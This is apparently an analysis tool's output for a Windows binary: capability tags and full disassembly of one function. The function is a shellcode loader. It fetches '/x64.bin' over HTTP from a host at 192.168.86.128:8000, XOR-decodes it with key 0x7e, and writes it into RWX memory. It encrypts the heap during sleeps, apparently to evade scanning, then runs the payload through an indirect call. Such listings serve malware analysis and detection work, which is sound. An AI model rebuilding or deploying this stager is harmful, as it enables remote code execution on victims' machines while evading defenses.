Function at 0x140001160
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Initialize winhttp library
Prepare http request
Receive http response

Disassembly:
sub rsp, 0xf8
lea rax, str.192.168.86.128
mov qword [rsp + 0xa8], rax
mov dword [rsp + 0x70], 0x1f40
lea rax, str._x64.bin
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0x40], 0x7e
mov dword [rsp + 0x4c], 0
lea rcx, [rsp + 0x80]
call fcn.1400022d0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.WINHTTP.dll_WinHttpOpen]
mov qword [rsp + 0xa0], rax
lea rcx, str.___WinHTTP_initialized_n
call fcn.140002cd0
xor r9d, r9d
movzx r8d, word [rsp + 0x70]
mov rdx, qword [rsp + 0xa8]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.WINHTTP.dll_WinHttpConnect]
mov qword [rsp + 0x98], rax
lea rcx, str.___Connected_to_HTTP_Server_n
call fcn.140002cd0
mov dword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
xor r9d, r9d
mov r8, qword [rsp + 0xb0]
lea rdx, [0x14001b510]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.WINHTTP.dll_WinHttpOpenRequest]
mov qword [rsp + 0x58], rax
lea rcx, str.___Sending_HTTP_GET_Request_n
call fcn.140002cd0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpSendRequest]
mov dword [rsp + 0x74], eax
lea rcx, str.___WinHTTP_request_sent_n
call fcn.140002cd0
xor edx, edx
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpReceiveResponse]
mov dword [rsp + 0x74], eax
lea rcx, str.___Response_retrieved_n
call fcn.140002cd0
mov dword [rsp + 0x44], 0
lea rdx, [rsp + 0x44]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpQueryDataAvailable]
test eax, eax
jne 0x1400012da
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpQueryDataAvailable._n
call fcn.140002cd0
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov ecx, eax
call fcn.140002ec8
mov qword [rsp + 0xb8], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
jne 0x14000131a
lea rcx, str.____No_more_available_data
call fcn.140002cd0
mov dword [rsp + 0x44], 0
mov eax, dword [rsp + 0x44]
inc eax
mov eax, eax
mov r8d, eax
xor edx, edx
mov rcx, qword [rsp + 0x50]
call fcn.140019fd0
lea r9, [rsp + 0x4c]
mov r8d, dword [rsp + 0x44]
mov rdx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpReadData]
test eax, eax
jne 0x140001365
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.Error__u_in_WinHttpReadData._n
call fcn.140002cd0
jmp 0x1400013bb
lea rdx, [rsp + 0xe0]
lea rcx, [rsp + 0x80]
call fcn.140002b10
mov rax, qword [rax]
mov qword [rsp + 0xc0], rax
mov eax, dword [rsp + 0x4c]
mov rcx, qword [rsp + 0x50]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0xc0]
lea rdx, [rsp + 0xe8]
lea rcx, [rsp + 0x80]
call fcn.140002090
cmp dword [rsp + 0x44], 0
ja 0x1400012aa
lea rcx, [rsp + 0x80]
call fcn.140002bd0
mov rcx, rax
call fcn.1400097b8
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x48], 0
jmp 0x1400013f4
mov eax, dword [rsp + 0x48]
inc eax
mov dword [rsp + 0x48], eax
movsxd rax, dword [rsp + 0x48]
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x80]
call fcn.140002bd0
mov rcx, qword [rsp + 0xc8]
cmp rcx, rax
jae 0x140001445
movsxd rax, dword [rsp + 0x48]
mov rdx, rax
lea rcx, [rsp + 0x80]
call fcn.140002590
movzx eax, byte [rax]
xor eax, 0x7e
movsxd rcx, dword [rsp + 0x48]
mov rdx, qword [rsp + 0x68]
mov byte [rdx + rcx], al
jmp 0x1400013ea
lea rcx, str.___Encrypted_shellcode_allocated_in_heap_n
call fcn.140002cd0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xd0], rax
lea rcx, [rsp + 0x80]
call fcn.140002bd0
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x60], rax
cmp qword [rsp + 0x60], 0
jne 0x1400014a8
lea rcx, str.____VirtualAlloc_failed_n
call fcn.140002cd0
mov ecx, 1
call fcn.140009ac8
mov rdx, qword [rsp + 0x60]
lea rcx, str.___Allocated_space_for_the_buffer__p_n
call fcn.140002cd0
lea rcx, [rsp + 0x80]
call fcn.140002bd0
movzx r8d, byte [rsp + 0x40]
mov edx, eax
mov rcx, qword [rsp + 0x68]
call section..text
lea rcx, [rsp + 0x80]
call fcn.140002bd0
mov r8, rax
mov rdx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x60]
call fcn.140019930
lea rcx, str.___Shellcode_decrypted_and_written_n
call fcn.140002cd0
lea rcx, str.___Encrypting_the_heap_for_10_seconds_n
call fcn.140002cd0
call fcn.1400010f0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 3
call qword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, 4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.___Decrypting_the_heap_n
call fcn.140002cd0
call fcn.1400010f0
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0xd8], rax
mov rcx, qword [rsp + 0xd0]
call qword [rsp + 0xd8]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x98]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.WINHTTP.dll_WinHttpCloseHandle]
mov rcx, qword [rsp + 0x68]
call fcn.1400097a4
mov dword [rsp + 0x78], 0
lea rcx, [rsp + 0x80]
call fcn.1400024f0
mov eax, dword [rsp + 0x78]
add rsp, 0xf8
ret